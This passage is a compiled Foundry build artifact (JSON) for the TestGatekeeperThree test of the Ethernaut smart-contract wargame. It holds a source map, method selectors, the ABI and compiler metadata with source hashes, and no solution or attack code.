17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19706:184::-;19776:6;19829:2;19817:9;19808:7;19804:23;19800:32;19797:52;;;19845:1;19842;19835:12;19797:52;-1:-1:-1;19868:16:155;;19706:184;-1:-1:-1;19706:184:155:o;19895:125::-;19960:9;;;19981:10;;;19978:36;;;19994:18;;:::i;20207:383::-;20404:2;20393:9;20386:21;20367:4;20430:45;20471:2;20460:9;20456:18;20448:6;20430:45;:::i;:::-;20523:9;20515:6;20511:22;20506:2;20495:9;20491:18;20484:50;20551:33;20577:6;20569;20551:33;:::i;:::-;20543:41;20207:383;-1:-1:-1;;;;;20207:383:155:o;20595:335::-;20674:6;20727:2;20715:9;20706:7;20702:23;20698:32;20695:52;;;20743:1;20740;20733:12;20695:52;20776:9;20770:16;20809:18;20801:6;20798:30;20795:50;;;20841:1;20838;20831:12;20795:50;20864:60;20916:7;20907:6;20896:9;20892:22;20864:60;:::i", + "linkReferences": {} + }, + "methodIdentifiers": { + "IS_TEST()": "fa7626d4", + "createLevelInstance(address,address,uint256)": "1c7db669", + "createUsers(uint256)": "792e11f5", + "excludeArtifacts()": "b5508aa9", + "excludeContracts()": "e20c9f71", + "excludeSenders()": "1ed7831c", + "failed()": "ba414fa6", + "getEthernautWithStatsProxy(address)": "85db81cc", + "getNextUserAddress()": "b90a68fa", + "getOldFactory(string)": "2356661a", + "mineBlocks(uint256)": "f82de7b0", + "setUp()": "0a9254e4", + "submitLevelInstance(address,address)": "9b59adbc", + "targetArtifactSelectors()": "66d9a9a0", + "targetArtifacts()": "85226c81", + "targetContracts()": "3f7286f4", + "targetInterfaces()": "2ade3880", + "targetSelectors()": "916a17c6", + "targetSenders()": "3e5e3c23", + "testInit()": "b5d11e99", + "testSolve()": "832e5fc2" + }, + "rawMetadata": "{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/GatekeeperThree.t.sol\":\"TestGatekeeperThree\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\"